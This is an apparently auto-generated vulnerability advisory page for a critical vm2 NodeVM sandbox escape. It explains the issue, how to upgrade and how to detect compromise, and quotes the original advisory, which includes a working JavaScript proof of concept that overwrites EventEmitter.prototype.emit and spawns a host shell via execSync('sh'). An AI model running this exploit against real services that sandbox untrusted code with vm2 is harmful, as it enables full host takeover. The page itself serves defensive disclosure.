NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · npm

CVE-2026-92955: vm2: Sandbox Escape (NodeVM)

criticalCVSS 4.0 10.0 · 3.1 10.0GHSA-88hf-g992-jg85

vm2 up to 3.11.7 has a `NodeVM` sandbox escape. Sandboxed code can reach the host's `__proto__` getter, walk from `console._stdout` to `EventEmitter.prototype`, replace `emit`, and run code with the host `process` as `this`. That gives full host code execution. Upgrade to vm2 3.11.8.

Published Oct 5, 2026 · Analysis Oct 25, 2026

What an attacker can do

The host __proto__ getter and setter have been the basis of several earlier vm2 reports, but the reporter says the exposure itself was never patched. In a NodeVM with console: 'inherit', which is the default, console._stdout and console._stderr are host streams. Their chain runs through WriteStream (TTY only), Socket, Duplex, Readable and Stream down to EventEmitter. process is an EventEmitter too, so a write to EventEmitter.prototype reaches it.

The proof of concept gets the host getter with Buffer.call.call(__lookupGetter__, 67, '__proto__'), walks up from console._stdout, and overwrites emit. When the host process emits an event such as exit or unhandledRejection, the function runs with this set to process. The example then calls getBuiltinModule("child_process").execSync("sh"). The advisory says this also defeats --disallow-code-generation-from-strings, which blocks the usual route of reaching the host Function constructor.

The attacker needs the ability to run JavaScript in a NodeVM, with no privileges. They get arbitrary commands as the Node.js process user. Any service that uses vm2 as a boundary for untrusted code, such as plugin runners, workflow engines and script hosts, is exposed. The reporter notes that other paths from the same getter probably exist.

Who is affected

vm2 up to and including 3.11.7, NodeVM with the default console: 'inherit'. The PoC uses new NodeVM() with no options. Check:

npm ls vm2

Check transitive dependencies too, as many tools bundle vm2.

vm2

Ecosystem
npm
Affected
<= 3.11.7
Fixed in
3.11.8
Check
npm ls vm2

How to fix it

Upgrade to vm2 3.11.8.

npm install [email protected]

The advisory does not describe the code change. It lists no workaround. Treat vm2 as a weak boundary for untrusted code: run such code in a separate process, container or VM with no secrets and no network, in addition to patching. A process-level isolation also limits the damage from the next escape.

How to tell if you were hit

Look for sandboxed scripts that use __lookupGetter__, Buffer.call.call, or console._stdout / console._stderr together with a loop on .pipe and an assignment to .emit. On the host, watch for the Node process starting sh or other children it does not normally start, especially around process exit or unhandled rejections. Review file and network activity of the process after any untrusted script ran. Rotate secrets reachable from a process that ran suspicious scripts.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

It being possible to obtain the host __proto__ getter/setter, has been used in many reports:

  • https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
  • https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
  • https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
  • https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6

Yet it was never patched...

---

This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)

Details

The prototype chain for console._stdout/console._stderr is:

_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter

process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype

By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.

This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.

PoC

const { NodeVM } = require("vm2");

code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');

// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}

// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }

let p = console._stdout;
while (p.pipe) {
	console.log(p.constructor.name);
	p = gP.call(p);
};

p.emit = function(){
	console.log(this+[]);
	this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;

const vm = new NodeVM();
vm.run(code);

Credited to c0rydoras.

Questions

Is vm2 3.11.7 affected by CVE-2026-92955?

Yes. The affected range is 3.11.7 and earlier. The fix is 3.11.8.

Does it need a non-default setting?

No. The example path uses console._stdout with NodeVM and console: 'inherit', which is the default. The reporter says other routes from the host __proto__ getter probably exist.

Does --disallow-code-generation-from-strings protect me?

No. The advisory says this escape bypasses that flag, because it does not use the host Function constructor.

Is it exploited in the wild?

No source says so, and it is not in CISA's KEV catalog. A working proof of concept is public in the advisory.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More npm vulnerabilities

All npm entries